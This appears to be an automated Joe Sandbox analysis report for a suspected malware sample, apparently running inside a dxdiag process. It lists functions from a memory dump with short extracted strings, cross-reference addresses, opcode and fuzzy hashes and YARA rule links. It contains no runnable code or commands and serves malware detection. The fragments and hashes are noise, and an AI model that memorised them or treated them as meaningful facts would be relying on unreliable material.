|Z7\, xrefs: 00428200
%V6h, xrefs: 00428215
=N?@, xrefs: 004281EB
jPl, xrefs: 0042821C

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: jPl$%R6T$%V6h$1F&X$=N?@$|Z7\
API String ID: 0-720933595
Opcode ID: 774de880706ee3f8471cdb5d7e1680f0c02cd5f6432aacaaaaf0103cd51c3b9f
Instruction ID: f39d86c070ab500bf256f0a98519923189adf886995b2a16e0c98b1acc46fafb
Opcode Fuzzy Hash: 774de880706ee3f8471cdb5d7e1680f0c02cd5f6432aacaaaaf0103cd51c3b9f
Instruction Fuzzy Hash: F4227A75A04255CFDB04CF68E8817AEBBB2FF4A310F68416DE441AB392DB399D01CB58

Function 0041AFD8 Relevance: 7.7, Strings: 6, Instructions: 153COMMON

Download Yara Rule

Strings

G, xrefs: 0041B012
oscd, xrefs: 0041B104
2l, xrefs: 0041B124
a+ab, xrefs: 0041B10C
|ed, xrefs: 0041B114
gdk|, xrefs: 0041B11C

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 2l$G$a+ab$gdk|$oscd$|ed
API String ID: 0-3137366845
Opcode ID: 411c911b66ffff2e9b30ef3c3b7db8ad7d55e8e77a8e129a3cd9494ef06f664d
Instruction ID: 2b51620a84509c9e7f89b2250eaa4d1d77fcbe22bbd39bf4a7e45a94f0a53178
Opcode Fuzzy Hash: 411c911b66ffff2e9b30ef3c3b7db8ad7d55e8e77a8e129a3cd9494ef06f664d
Instruction Fuzzy Hash: 76415872A483904BD318CF69C89239BBFE2EB96304F04496DF5C597381D7BAC9058B86

Function 0042683C Relevance: 6.8, Strings: 5, Instructions: 527COMMON

Download Yara Rule

Strings

nB, xrefs: 00426D8C
2lB, xrefs: 00426C2C
2pB, xrefs: 00426FDC
", xrefs: 00426EA2
bpB, xrefs: 00426FE2

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: nB$"$2lB$2pB$bpB
API String ID: 0-1940457101
Opcode ID: 8de7e067c5cac23f0f4fd2df2c49999167b566e3c728dc8f48f6de7cf320b789
Instruction ID: 558fbc4cb8a2958d1f7e7249d7ccc9316d198c96dd93b6a73ccfed5fe5d12803
Opcode Fuzzy Hash: 8de7e067c5cac23f0f4fd2df2c49999167b566e3c728dc8f48f6de7cf320b789
Instruction Fuzzy Hash: 6B020375608351CFD714DF28D88032AFBE2BF9A320F198A6DE4A5873E1E778D9058B45

Function 00424DD0 Relevance: 6.6, Strings: 5, Instructions: 369COMMON

Download Yara Rule

Strings

,Y, xrefs: 00424E77
^E, xrefs: 00424E67
V,, xrefs: 00424E6F
Z[, xrefs: 00424E7F
pqr, xrefs: 00424F87

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: ,Y$V,$Z[$^E$pqr
API String ID: 0-279934592
Opcode ID: 87f78cd21d4e01dd81e271a37c7c4b9a528862636fb1b6678b2c431f50833107
Instruction ID: 5742babc61ebacdb7949157f0bd4e01d84a0f7fb4511d1348a61e7c30121f0f1
Opcode Fuzzy Hash: 87f78cd21d4e01dd81e271a37c7c4b9a528862636fb1b6678b2c431f50833107
Instruction Fuzzy Hash: E2D10FB4608341DFE724CF20E881B6FBBA0FB86704F94892DE68597391D778D905CB4A

Function 00409730 Relevance: 5.4, Strings: 4, Instructions: 352COMMON

Download Yara Rule

Strings

&', xrefs: 00409AE3
rt, xrefs: 004099B0
1FFC2A03D53941865EC6468C5C963249, xrefs: 004097E0
53/L, xrefs: 00409831

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: &'$1FFC2A03D53941865EC6468C5C963249$53/L$rt
API String ID: 0-3891309043
Opcode ID: 3d479a76f3ed01d2210f7306c98ef1b6a839f767a8772c77676ee1babf76fe85
Instruction ID: c43cc0f4767f0386331e86a65d878f221811e9f74dfb90e72f7e2679060c6ec5
Opcode Fuzzy Hash: 3d479a76f3ed01d2210f7306c98ef1b6a839f767a8772c77676ee1babf76fe85
Instruction Fuzzy Hash: 19A100B050C3808BD314DF358890A6FBBE4EF92314F14496DE1E69B3A2D738D90ACB56

Function 0041BB20 Relevance: 5.3, Strings: 4, Instructions: 310COMMON

Download Yara Rule

Strings

KT, xrefs: 0041BD42
OM, xrefs: 0041BD52
LM, xrefs: 0041BCA8
stu, xrefs: 0041BC18

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: KT$LM$OM$stu
API String ID: 0-2300950273
Opcode ID: a0c85d8ade89f4d732e1c7db4051fb16378b39335d085899007dfca62cd4281c
Instruction ID: e0790f8a2260445ed915882484265c43d046fe5b7e2851accbdc848ea5d765e3
Opcode Fuzzy Hash: a0c85d8ade89f4d732e1c7db4051fb16378b39335d085899007dfca62cd4281c
Instruction Fuzzy Hash: 37A1BC7660C3449BD704EF26D8914AFBBF6EB96310F444C2DF4D687342D6398A098B9A

Function 00419219 Relevance: 5.3, Strings: 4, Instructions: 274COMMON

Download Yara Rule

Strings

D, xrefs: 0041920A
`, xrefs: 00418E50
.tv, xrefs: 00418F08
KL, xrefs: 00418F6D

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: .tv$D$KL$`
API String ID: 0-1798403091
Opcode ID: 90e57625ad38b70126a8750b87c4af5a01a1fc3e7287f70fed15274c53c4e676
Instruction ID: 3f30fe60f5f3189d76d806e3d19590f01995e251e5eb8f492cdef6a97151cc10
Opcode Fuzzy Hash: 90e57625ad38b70126a8750b87c4af5a01a1fc3e7287f70fed15274c53c4e676
Instruction Fuzzy Hash: 4291ABB04083918BE334CF24C4A57ABBBE1FF86314F158A5DD4C94B392D7798885CB9A

Function 00421D73 Relevance: 4.5, Strings: 3, Instructions: 737COMMON

Download Yara Rule

Strings

<r/+, xrefs: 00421E47
2-:., xrefs: 00421F08
#'!7, xrefs: 00421E3F

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: #'!7$2-:.$<r/+
API String ID: 0-1588113804
Opcode ID: 1223cc3a21a772a0d2f2494d54565a2756d6f36c6719582f613429b6c81c700c
Instruction ID: f9fba50b878ae6ca9efe469270682ac7877d2de3c9241f307d5b60eb0439a20b
Opcode Fuzzy Hash: 1223cc3a21a772a0d2f2494d54565a2756d6f36c6719582f613429b6c81c700c
Instruction Fuzzy Hash: 14322276A08212CFD318CF28DC9166AB3E2FF89314F49853DE99597390D7B8D901CB85

Function 0042779B Relevance: 4.2, Strings: 3, Instructions: 443COMMON

Download Yara Rule

Strings

yz, xrefs: 004279C2
9, xrefs: 00427A62
9, xrefs: 004279DD, 00427A26

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 9$9$yz
API String ID: 0-3458379945
Opcode ID: 97e5fe8962bbb79f1b9a7ddb6f8aa47842b1dc16bf743edd73e6bddcf6dbf477
Instruction ID: 8cb2bd10700cf6573130ed67dfada133875a43ff1573faf34ad6f8871ffd4bd0
Opcode Fuzzy Hash: 97e5fe8962bbb79f1b9a7ddb6f8aa47842b1dc16bf743edd73e6bddcf6dbf477
Instruction Fuzzy Hash: C2C130B6A0C3118BC714DF68D85262BB3F1EFC1314F18892EE4D69B391E7789A05C75A

Function 004277E0 Relevance: 4.2, Strings: 3, Instructions: 436COMMON

Download Yara Rule

Strings

yz, xrefs: 004279C2
9, xrefs: 00427A62
9, xrefs: 004279DD, 00427A26

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 9$9$yz
API String ID: 0-3458379945
Opcode ID: 1ca6f33f7db7d5da2e48699969a0ed4e89dc9ac7e0041adc56acc3958d548636
Instruction ID: bbb38220efc2b624f5925e2889de6455b8c212916dff37784df4ba08f5a7ac67
Opcode Fuzzy Hash: 1ca6f33f7db7d5da2e48699969a0ed4e89dc9ac7e0041adc56acc3958d548636
Instruction Fuzzy Hash: ABC120B660C3118BC7249F68D85262BB3F1EFC1314F18892EE4D69B391E7789A05C75A

Function 00436BE4 Relevance: 4.2, Strings: 3, Instructions: 426COMMON

Download Yara Rule

Strings

:, xrefs: 004370D4
x#X%, xrefs: 00436E95
&', xrefs: 00436E82

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: &'$:$x#X%
API String ID: 0-3823454105
Opcode ID: 6afc1bf7648736bdd623afcef6bc591dcf5bfd5d666ccb6253b7929a179191ea
Instruction ID: 8f3827cfcbc4e38f67a50f9a1e96b6c0906f4e5a80d62fafde117fdb12ab2f56
Opcode Fuzzy Hash: 6afc1bf7648736bdd623afcef6bc591dcf5bfd5d666ccb6253b7929a179191ea
Instruction Fuzzy Hash: A4D1277A618652CBCB185F24E86237B73E1FF4A745F0B807ED482872A1EB798950CB45

Function 00415460 Relevance: 4.2, Strings: 3, Instructions: 408COMMON

Download Yara Rule

Strings

OG, xrefs: 004156CD
pw, xrefs: 004156C2
pYA, xrefs: 0041596A

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: OG$pYA$pw
API String ID: 0-4264688152
Opcode ID: 6415562d6c1008e6fe1d99e2b67bdb73ebf9c9cca06134cedbe07d6db5d92b51
Instruction ID: 4159aafd9c10dcdb92f5b7ab8577220b838cb96e890b31dd2f5e1bbf81f70fed
Opcode Fuzzy Hash: 6415562d6c1008e6fe1d99e2b67bdb73ebf9c9cca06134cedbe07d6db5d92b51
Instruction Fuzzy Hash: 3DC12374548341CBD7349F24D891BEB73A1EF96314F044A3DE4D98B3A1EB389981CB9A

Function 0042A9D5 Relevance: 4.1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

d, xrefs: 0042ABAD
X\j_, xrefs: 0042AC49
ztbk, xrefs: 0042AD34

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: X\j_$d$ztbk
API String ID: 0-161409437
Opcode ID: 178e0c69511cf786b98128b254f0426a957d5df6ad6af87ce70e9a0989f1dd82
Instruction ID: c647836b6919da90344013ba879caa2c0c0a118e64d05fdf5bbca9858e4c4854
Opcode Fuzzy Hash: 178e0c69511cf786b98128b254f0426a957d5df6ad6af87ce70e9a0989f1dd82
Instruction Fuzzy Hash: 7DB146712047918FD329CF29C450723FBE2AF86300F69C69EC8D68B796C678E802CB55

Function 0042AA8A Relevance: 4.1, Strings: 3, Instructions: 365COMMON

Download Yara Rule

Strings

d, xrefs: 0042ABAD
X\j_, xrefs: 0042AC49
ztbk, xrefs: 0042AD34

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: X\j_$d$ztbk
API String ID: 0-161409437
Opcode ID: c138dd2b7c66af969763d4e987df7e41070ed8ccd11516e73ecb22322106a9ee
Instruction ID: 63ec9625d8e1e38da1926b311d6272fb904936b9087af233feddb224084f3342
Opcode Fuzzy Hash: c138dd2b7c66af969763d4e987df7e41070ed8ccd11516e73ecb22322106a9ee
Instruction Fuzzy Hash: A9A158712047918FD329CF29C450722FBE2AF86304F69C69EC9D68B792C778D812CB55

Function 0042AAD7 Relevance: 4.1, Strings: 3, Instructions: 364COMMON

Download Yara Rule

Strings

d, xrefs: 0042ABAD
X\j_, xrefs: 0042AC49
ztbk, xrefs: 0042AD34

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: X\j_$d$ztbk
API String ID: 0-161409437
Opcode ID: 14fc744518a8a4fa68d9e00823f089d1af0127733397b98013bd6eb39e02983f
Instruction ID: 69c4823cc23e329729b65d6cd6aa0dd4aae8d762435b1c1a1192b9f4453f2a0f
Opcode Fuzzy Hash: 14fc744518a8a4fa68d9e00823f089d1af0127733397b98013bd6eb39e02983f
Instruction Fuzzy Hash: D6A148712047918FD329CF29C490722FBE2AF86304F69C69EC9D68B792C779D842CB55

Function 0042AAC6 Relevance: 4.1, Strings: 3, Instructions: 339COMMON

Download Yara Rule

Strings

d, xrefs: 0042ABAD
X\j_, xrefs: 0042AC49
ztbk, xrefs: 0042AD34

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: X\j_$d$ztbk
API String ID: 0-161409437
Opcode ID: b044eee7a262e571ea12573e6cf26b9f4d54e30ac2eb5059c67a4872f77a546c
Instruction ID: b77578477651018fdeaac84c335eda1cf7dbe90ebbcab35e646ae95f6ad1400d
Opcode Fuzzy Hash: b044eee7a262e571ea12573e6cf26b9f4d54e30ac2eb5059c67a4872f77a546c
Instruction Fuzzy Hash: 17A168712047918FD325CF29C490722FBE2AF96300F6D869EC4D68B786C778D802CB65

Function 004230C0 Relevance: 4.0, Strings: 3, Instructions: 285COMMON

Download Yara Rule

Strings

qzx[, xrefs: 00422EE0
@B, xrefs: 004230FA
3zx[, xrefs: 00422EBA

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 3zx[$qzx[$@B
API String ID: 0-149612330
Opcode ID: 17b5d7aecd68ee84dfd04b24f533ecaaf5dbf0cb7ca230442a63f74c25e47d9e
Instruction ID: 9e4b87dcb06e457d0f9d11912b9a92467ef5426d1500ae2c30e3006a4d20d98e
Opcode Fuzzy Hash: 17b5d7aecd68ee84dfd04b24f533ecaaf5dbf0cb7ca230442a63f74c25e47d9e
Instruction Fuzzy Hash: 9AA14471A043509FE724CF68CD41BAEBBB1FB85700F0541AEE905AF392D7759902CB95

Function 0040DEE9 Relevance: 3.9, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

VwWy, xrefs: 0040DF1C
)LWt, xrefs: 0040E10D
su, xrefs: 0040DF15

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: )LWt$VwWy$su
API String ID: 0-3217031312
Opcode ID: df3abb5220737b9bf04c5bae9f03c91a1aa6ed068ceafdad675784e96d291a5e
Instruction ID: 30f66bfa02c826f192fa745d1aa3d8111df13ee3ec6becbcaa5c5be03c67a3cc
Opcode Fuzzy Hash: df3abb5220737b9bf04c5bae9f03c91a1aa6ed068ceafdad675784e96d291a5e
Instruction Fuzzy Hash: 44510FB0201711ABD3248F21C495722BBB1BB19308F24969CD1861FB96D3BBE457CF88

Function 00414860 Relevance: 3.6, Strings: 2, Instructions: 1055COMMON

Download Yara Rule

Strings

KA, xrefs: 00414BDA
4l, xrefs: 004149EB

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 4l$KA
API String ID: 0-2227922710
Opcode ID: ece183665e9cd0250bda4baa08dea94051610fd0a3949e522ee096408b33f542
Instruction ID: 7d394960c13b993b07ff0ec63b5c916a70d7b749b6eef6e0c3313fbac85af60e
Opcode Fuzzy Hash: ece183665e9cd0250bda4baa08dea94051610fd0a3949e522ee096408b33f542
Instruction Fuzzy Hash: 55421475608301CBE714DF24DC42ABB73A1FBC6314F19853EE58587391E7799885CB8A

Function 00404C50 Relevance: 3.3, Strings: 2, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 0040559C
8, xrefs: 00405594

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 4d31846ea3cd1676bcc8b5810d49a0c429a9bcd0f11c617c85cd4880b3a76c6f
Instruction ID: 6370abf147319fefda308a2038e70a02aa4510a212c48b2156ced0c66922abe4
Opcode Fuzzy Hash: 4d31846ea3cd1676bcc8b5810d49a0c429a9bcd0f11c617c85cd4880b3a76c6f
Instruction Fuzzy Hash: A27224B16083419FD710CF18C880B9BBBE1AF94354F04892EF9999B392D379D958CF96

Function 00438D70 Relevance: 3.3, Strings: 2, Instructions: 755COMMON

Download Yara Rule

Strings

f, xrefs: 00439021
g, xrefs: 00439234

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: f$g
API String ID: 2994545307-2729975458
Opcode ID: 4cd79b717976fae15cbbecf2b362b45576482f5731d1ef7c12f67a79aa4caa16
Instruction ID: c9b2282577dd7928e87c6e7aed450861025ac80ca66e243a85fcddc34fbf70c2
Opcode Fuzzy Hash: 4cd79b717976fae15cbbecf2b362b45576482f5731d1ef7c12f67a79aa4caa16
Instruction Fuzzy Hash: 1F3204756083419FD714CF28C880A2FBBE2ABC9314F299A2EE5D597391CB75DC41CB4A

Function 00416CBD Relevance: 3.2, Strings: 2, Instructions: 743COMMON

Download Yara Rule

Strings

+, xrefs: 00416FFE
W, xrefs: 0041768A

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: +$W
API String ID: 0-3485357538
Opcode ID: 6a21d55a5fbcc48de4ab3196158e1f9afa0471f8b48752441063c17706421383
Instruction ID: 7f43de0d9f64e876bdb76b0051892af2d1d95dcac743c0c21e269c463886ecd5
Opcode Fuzzy Hash: 6a21d55a5fbcc48de4ab3196158e1f9afa0471f8b48752441063c17706421383
Instruction Fuzzy Hash: C4322571A083518BD324CF28C8907ABBBE1FFCA314F198A6EE4C597351DB789941CB56

Function 00425820 Relevance: 3.1, Strings: 2, Instructions: 614COMMON

Download Yara Rule

Strings

r`B, xrefs: 00426065
dZB, xrefs: 00425A4D

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: dZB$r`B
API String ID: 0-3904460924
Opcode ID: 0a9eee2e05ad593b87d1a35673dacdee6d4f1f71470903015ce88b7b45ba2a2a
Instruction ID: cf11a58a00d61d500a6140a78dc3910c7a963cd34266b10506d1b50124c2a4e1
Opcode Fuzzy Hash: 0a9eee2e05ad593b87d1a35673dacdee6d4f1f71470903015ce88b7b45ba2a2a
Instruction Fuzzy Hash: D11245B460C3918BD710CF25E89126FBBE0EF96308F54896DE4C69B382D778D905CB5A

Function 00415FA1 Relevance: 3.1, Strings: 2, Instructions: 606COMMON

Download Yara Rule

Strings

ofA, xrefs: 00416668
, xrefs: 0041600D, 00416097

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: ofA$
API String ID: 0-1552613143
Opcode ID: e826f98870c836bfb8e0ea51c571821792422a0c5e161fdc289a0df1255da1a3
Instruction ID: 2c823ed54a2d2150a2d94358e89aa5dd56cf77a80caffb394fd748b267586704
Opcode Fuzzy Hash: e826f98870c836bfb8e0ea51c571821792422a0c5e161fdc289a0df1255da1a3
Instruction Fuzzy Hash: E51237756083509FD724CF28DC917AF77E2EB86314F154A3DE48A87291DB39D841CB8A

Function 004231F6 Relevance: 3.0, Strings: 2, Instructions: 524COMMON

Download Yara Rule

Strings

}~, xrefs: 004234C0
R9B, xrefs: 00423941

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: R9B$}~
API String ID: 0-2143352738
Opcode ID: a20bea4d2debd35d1aa5696fec164c130505b818f13da4c4dcc747a5536a5dc6
Instruction ID: c67b400d593570aea51a5883cfaab9404424982819ae66ceb36794941c5778d7
Opcode Fuzzy Hash: a20bea4d2debd35d1aa5696fec164c130505b818f13da4c4dcc747a5536a5dc6
Instruction Fuzzy Hash: BEF12276A18321DBC724DF24D8411ABB3F2FF85742F88896DE48597260E73C9B45CB49

Function 0041BE71 Relevance: 2.8, Strings: 2, Instructions: 349COMMON

Download Yara Rule

Strings

N%&', xrefs: 0041C2CD, 0041C2DA
ij, xrefs: 0041BFD5

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: N%&'$ij
API String ID: 0-2336341608
Opcode ID: 88f5ead50482a0d5692fe065ff7ab871ef9c8578c732ac1c41b12b274cf9b7f8
Instruction ID: 3ec1164c08b8df8f5ad239da4b50aaa16cb908530bffe58995966572d7d06e5a
Opcode Fuzzy Hash: 88f5ead50482a0d5692fe065ff7ab871ef9c8578c732ac1c41b12b274cf9b7f8
Instruction Fuzzy Hash: 63913375A483008BC714CF69CC913ABB7E2EFD9314F08C96DE8C68B385E7789585875A

Function 00404300 Relevance: 2.8, Strings: 2, Instructions: 335COMMON

Download Yara Rule

Strings

IEND, xrefs: 004046FD
), xrefs: 00404379

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 18bf37ad41109e80a1a09e8aa62cffcf334b86b9c7745820e439ec832c58c8b6
Instruction ID: 69784f994d522c806696069fb0bc0fba4b22834945d23ce78d0c5b6699577816
Opcode Fuzzy Hash: 18bf37ad41109e80a1a09e8aa62cffcf334b86b9c7745820e439ec832c58c8b6
Instruction Fuzzy Hash: F2D191B19083449FD710CF15D841B5FBBE4AB94308F14492EFA99AB3C2D779E908CB96

Function 0040C72B Relevance: 2.8, Strings: 2, Instructions: 256COMMON

Download Yara Rule

Strings

./, xrefs: 0040C8F4
h3T5, xrefs: 0040C8BC

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: ./$h3T5
API String ID: 0-2425256910
Opcode ID: a2b2180c65d7394546b7c1e0cf6cc2ed789f617f73c682bd2d84fc2d095af9de
Instruction ID: 8875d4901756c4b216268357a0ac996a12432350b8b0083aa304c3f513ba26e0
Opcode Fuzzy Hash: a2b2180c65d7394546b7c1e0cf6cc2ed789f617f73c682bd2d84fc2d095af9de
Instruction Fuzzy Hash: EA7114B651C3409AC718DF24CC9117BB7B2EFD5304F19962DE89567391EB38860AC78D

Function 0040FB71 Relevance: 2.3, Strings: 1, Instructions: 1089COMMON

Download Yara Rule

Strings

+, xrefs: 004106BC

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: +
API String ID: 2994545307-2126386893
Opcode ID: e49cc565bb25ea712ded7a77cb7fabab62f070ab26babbd63597e6b6ddc6b1e9
Instruction ID: 1a842e94016ed2d8c532f852bc49d7d4a1e2a2dd1db2aad469a581af37c970af
Opcode Fuzzy Hash: e49cc565bb25ea712ded7a77cb7fabab62f070ab26babbd63597e6b6ddc6b1e9
Instruction Fuzzy Hash: C9924EB1604B408FD324DF38C5953ABBBE2AB95314F18893ED4EB873C2DA78A545C746

Function 004181E9 Relevance: 2.0, Strings: 1, Instructions: 793COMMON

Download Yara Rule

Strings

", xrefs: 004188EE

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: "
API String ID: 2994545307-123907689
Opcode ID: 9c24db7ea9b62738beb93c1e0c77958b4322bda01f0c3960b2e70158945ec4ff
Instruction ID: 17df69645741845f95c7c20def89238328e3832f630206f777091f64e93cc147
Opcode Fuzzy Hash: 9c24db7ea9b62738beb93c1e0c77958b4322bda01f0c3960b2e70158945ec4ff
Instruction Fuzzy Hash: 73224B746083408BD7258F28D8506BFB7E2FB96314F285A2DE4D157392DB38D842CB9E

Function 004216E0 Relevance: 1.7, Strings: 1, Instructions: 457COMMON

Download Yara Rule

Strings

o]^, xrefs: 0042191D

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: o]^
API String ID: 0-3943879297
Opcode ID: e60bd4a8b9da6522f1b3359eba3995bbb3ba7a4471dfa0ff8ca762107fd0de44
Instruction ID: 4669969d7b71f7d68a9b592d0a4a540a5b8527d65a8744ebe538e10e24e07286
Opcode Fuzzy Hash: e60bd4a8b9da6522f1b3359eba3995bbb3ba7a4471dfa0ff8ca762107fd0de44
Instruction Fuzzy Hash: 58B16C72B083205BD714DB24E89277BB3A1EFE1354F59842EE88557391E63CE805C39A

Function 0041C330 Relevance: 1.7, Strings: 1, Instructions: 443COMMON

Download Yara Rule

Strings

q, xrefs: 0041C3FA

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-1973602202
Opcode ID: 3144f0c7d77c94f0b15253ad0cdaa548fa628ab49627c29bc90b5f25244d2502
Instruction ID: b69d45c65629a181d3394273b162446badd9582a993c74671e4135a58d3492d1
Opcode Fuzzy Hash: 3144f0c7d77c94f0b15253ad0cdaa548fa628ab49627c29bc90b5f25244d2502
Instruction Fuzzy Hash: 8BC10075A583108BC7248F28CC913ABB3F1EF96314F48992DE8C59B394E778D944C78A

